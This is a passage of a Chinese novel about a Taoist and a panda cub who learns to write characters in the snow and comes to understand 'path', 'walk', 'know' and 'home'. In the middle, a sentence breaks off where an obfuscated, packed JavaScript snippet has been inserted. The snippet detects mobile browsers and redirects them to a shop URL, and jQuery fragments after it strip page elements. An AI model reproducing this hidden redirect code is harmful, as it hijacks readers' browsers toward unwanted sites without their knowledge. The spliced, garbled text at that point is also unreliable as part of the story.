这个冬天，雪下了好几场。
院子里的雪积了又化，化了又积，石桌石凳上永远盖着一层白。
黑白每天在雪地上写字。道一教过它的字，它都记得。从最开始的“人”“大”“天”“山”，到后来的“竹”“林”“雪”“月”。它已经会写很多字了。
每天早上起来，它做的第一件事不是吃窝窝头，而是跑到院子里，把昨天学的字在雪地上写一遍。写
完旧的，再练新的。
道一有时候会站在屋檐下看着，有时候会走过来，用树枝在它写错的字旁边写一个对的，它就看一眼，然后把错的划掉，重新写一个。
它写的字越来越好了。最开始那些字歪歪扭扭的，像站不稳的小熊。现在虽然还是比不上道一写的工整，但至少横平竖直，撇捺分明。
它不光会写字，还会写词了。道一教过它“竹林”“雪地”“月光”“炉火”。
它最喜欢写“竹林”，这两个字它练得最熟，写出来最好看。它也喜欢写“道一”——道字很复杂，走之底它练了很多遍才写好，一字最简单，一横就够了。
两个字写在一起，复杂的和简单的挨着，它觉得很好看。写完了就蹲在旁边看一会儿，然后把下巴搁在雪地上，等着道一出来。
这天午后，雪停了。太阳从云层后面露出半个脸，照在雪地上，亮得晃眼。
道一站在屋檐下，看着远处的山。山被雪盖住了，白茫茫的，和天连在一起。
黑白写完今天的字——它在雪地上写了一行“天地有大美而不言”，这是道一前几天教它的句子，它练了好几天，今天终于写整齐了——然后跑到屋檐下，趴在棉垫上，顺着道一的目光看过去。
它什么也没看见，只有白茫茫的一片。
“黑白。”道一叫了一声。
它抬起头，耳朵竖起来。
“陪我去前面走走。”他说。
黑白从棉垫上跳起来，跟在他脚边。道一推开前殿的门，走了出去。黑白跟在后面，爪子踩在雪地上，噗嗤噗嗤响。
它很少来前殿，平时都在后院，前殿的门有时候开着，有时候关着，但它从来没见过有人进来。
道一没有停留，穿过前殿，推开了道观的大门。
黑白站在门槛里面，往外看。它从来没有出过这道门。从它来到这片竹林，它的世界就是后院、竹林，它是一只知足的小熊。
它把一只爪子伸出去，踩在门槛外面的石阶上，跟着道一走了出去。
门外是一条小路，石头铺的，被雪盖住了，只露出一点青灰色的边。路的两边是枯了的灌木和光秃秃的树，再远一点就是那片它每天去的竹林。
黑白站在小路上，东看看西看看，鼻子一抽一抽的。空气里有雪的味道，有竹子的味道，还有它闻不出来的、更远的地方飘来的味道。
它往前跑了几步，又跑回来，在道一脚边转了一圈，然后又往前跑。
道一慢慢往前走，黑白就在前面跑，跑远了就停下来等他，等他走近了又往前跑。它的小尾巴翘得高高的，四条小腿倒腾得飞快，圆滚滚的身子一颠一颠的，在雪地上留下一串歪歪扭扭的小脚印。
小路拐了一个弯，眼前出现了一片空地。空地的边上有一棵老树，比后院那棵还大，树冠伸开来像一把大伞。树下有一块大石头，被雪盖着，只露出圆圆的顶。
黑白跑过去，在石头旁边转了一圈，然后用爪子扒了扒石头上的雪，扒了几下，回头看着道一。道一走过去，把石头上的雪拂掉，坐了下来。石头凉，他也不在意。
黑白跳上石头，在他旁边趴下来，把下巴搁在前爪上，看着远处的竹林。
雪后的山很安静。没有风，没有鸟叫，只有雪从树枝上落下来的声音，扑簌，扑簌，偶尔一声。远处的山峦一层一层的，近的深，远的浅，最远的已经和天分不清了。
竹林在山下面，黑压压的一片，竹叶上顶着雪，绿和白交错在一起。
道一坐在石头上，看着远处的山，过了很久，道一开口了。“道可道，非常道。”他念了一句，声音很轻，像是在跟自己说话。
黑白抬起头，看着他。这句话它听过，道一念过很多遍。每次念的时候，他的声音都会变得和平时不一样，像是在说什么很重要的事。
它知道这几个字怎么写——“道”字它练了很久，“可”字简单，“非”字也简单，“常”字和“道”一样难。它都在雪地上写过，一笔一画，都记得。
“这句话，我念了一辈子。”他看着远处说道。“念了一辈子，想了一辈子，还是说不清楚它到底是什么。”
黑白歪了一下脑袋。它不明白，有什么东西是说不清楚的？它知道雪是凉的，窝窝头是香的，道一的手是暖的。这些都能说清楚。为什么那个字说不清楚？
道一低头看着它问，“你知道什么是‘道’吗？”
黑白想了想。它知道道一念这个字的时候，声音会变轻。它知道这个字写出来很复杂，走之底里面一个“首”，它练了很多遍才写好。
它盯着道一的脸看了一会儿，然后转过头，看着远处的山，看着山下面的竹林，看着从竹林里延伸出来的那条小路。
它看了一会儿，从石头上跳下去。雪有点深，它陷进去半个爪子。它走到小路旁边，在雪地上站了一会儿，然后抬起胖乎乎的爪子，在雪地上划拉。
它写了一个“路”字。路字它写过很多遍，写得稳稳当当的。“路”写好了，它退后一步，看了看，又在旁边写了一个“走”字。走字简单，横竖撇捺，它写得很快。
写完了，它跑到道一面前，蹲在雪地里，仰着头看他。
道一看着雪地上那两个字。他问，“路？”“走？”
黑白把脑袋歪了一下，它不知道他说的“道”是不是“路”，但它知道路是要走的。它每天走那条路，知道哪里的雪厚，哪里的雪薄，哪里踩下去会滑，哪里踩下去会陷进去。
它知道路的那一头是竹林，竹子的叶子在风里沙沙响；路的这一头是他，是他的屋檐，是它的竹筐，是窗台上那些它带回来的东西。
它站起来，走到那两个字旁边，在“路”和“走”的后面又写了一个“知”。“知”字它学得不久，但写得很认真。
道一伸出手，摸了摸“知”字旁边的一个爪印——那是它写完字以后踩上去的，五个指头清清楚楚。
风从竹林那边吹过来，带着竹叶的清香。老树上的雪扑簌扑簌落下来，落在他的肩上，落在它的背上。它抖了抖毛，雪簌簌地掉下来。
道一伸出手，把它背上的雪拂掉。
它的毛是暖的，底下的皮肉是暖的，和他指尖的凉不一样。 “走了，回去吧。”他说。
黑白站起来，抖了抖毛，跟在他脚边往回走。走了一段，它又跑起来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446823|201100||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，在前面跑远了就停下来等他，等他走近了又往前跑。
跑到道观门口的时候，它没有进去，而是站在门槛上，回头看了他一眼。然后它转身，沿着那条小路，跑向竹林的方向。
道一站在门口，看着它跑远。它跑得很快，四条小腿倒腾得飞快，圆滚滚的身子一颠一颠的。
跑到小路拐弯的地方，它停下来，回头看了他一眼，然后消失在竹林后面。道一没有进去，就站在门口等着。过了一会儿，黑白从竹林里跑出来了。
嘴里叼着一根竹枝，竹枝上挂着几片叶子，绿绿的，在风里轻轻晃。它跑回来，跑到他面前，把竹枝放在他脚边，仰着头看他。鼻子上沾着雪，嘴巴上沾着竹叶的汁水，眼睛亮亮的。
道一弯腰捡起竹枝，看了看。竹枝不粗，上面还带着一点水珠。他把它拿在手里，转身进了道观。黑白跟在后面，爪子踩在石阶上，嗒嗒嗒的，和它的心跳一样快。
回到后院，道一没有进屋，而是走到墙根的陶罐前面，把那根竹枝插了进去。陶罐里已经有几根枯了的草和干了的竹枝，新插进去的这根绿绿的。
黑白蹲在陶罐前面，仰着头看了一会儿。然后它跑到院子里，它写了一个“家”。看了看，有补上“路”“走”“知”“家”。
写完了，它跑到屋檐下面，在棉垫上趴下来，把下巴搁在前爪上，看着道一。道一蹲下来伸出手，摸了摸它的头。手指从耳朵后面滑到脖子，轻轻的，慢慢的。它的后腿蹬了一下，舒服地享受着道一的抚摸。
“嗯，”他说，“知道了。”
那天晚上，道一没有念书。他坐在桌案前，手里拿着那本翻得发黄的书，但没有翻开，只是放在膝盖上。黑白趴在竹筐里，把下巴搁在筐沿上，看着他。
陶罐里的竹枝影子落在墙上，和干了的草影子叠在一起，像一幅画。
“黑白。”道一叫了一声。它抬起头，依赖地望着道一，道一看着它的脸，心都软了。
“快睡吧”他温声说道。
他站起来，走到窗前，把窗户关好。黑白在竹筐里动了动，把鼻子从尾巴里探出来，闻了闻，又把鼻子缩回去了，闭上眼睛慢慢入睡了。
“路，走，知，家”，想着白天的场景，道一轻轻念了一遍。转身走到竹筐旁边，蹲下来。黑白已经睡着了，肚子一起一伏的，呼噜声细细的。
他看了一会儿，站起来，吹了灯。
第二天早上，黑白从竹筐里跳出来的时候，道一已经起来了。它跑到院子里，先完成写字的功课，然后跑进厨房里，跳上木凳，把脑袋伸进碟子里。
窝窝头还是三块，它吃两块，留一块。吃完以后，它没有马上去竹林，而是跑回道一身边，在他脚边转了一圈，然后才跑出道观，跑向竹林。
道一站在屋檐下，看着它跑远的背影，看了一会儿，拿起扫帚，开始扫地。黑白写的字，他舍不得扫掉，便绕过一边去。
黑白从竹林吃饱回来的时候，叼着一根竹枝，跑进院子，看见道一在扫地，那些字还在。
它把竹枝放在陶罐旁边，跑到院子里，在那个“家”字旁边又写了一个。这次写得好多了，宝盖头平平的，豕字稳稳当当的，站得直直的。写完了，它跑到道一面前，仰着头看他。
道一低头看它，又看了看那个字。
“好。”他说。
黑白听到夸奖后，短尾巴开心地乱动。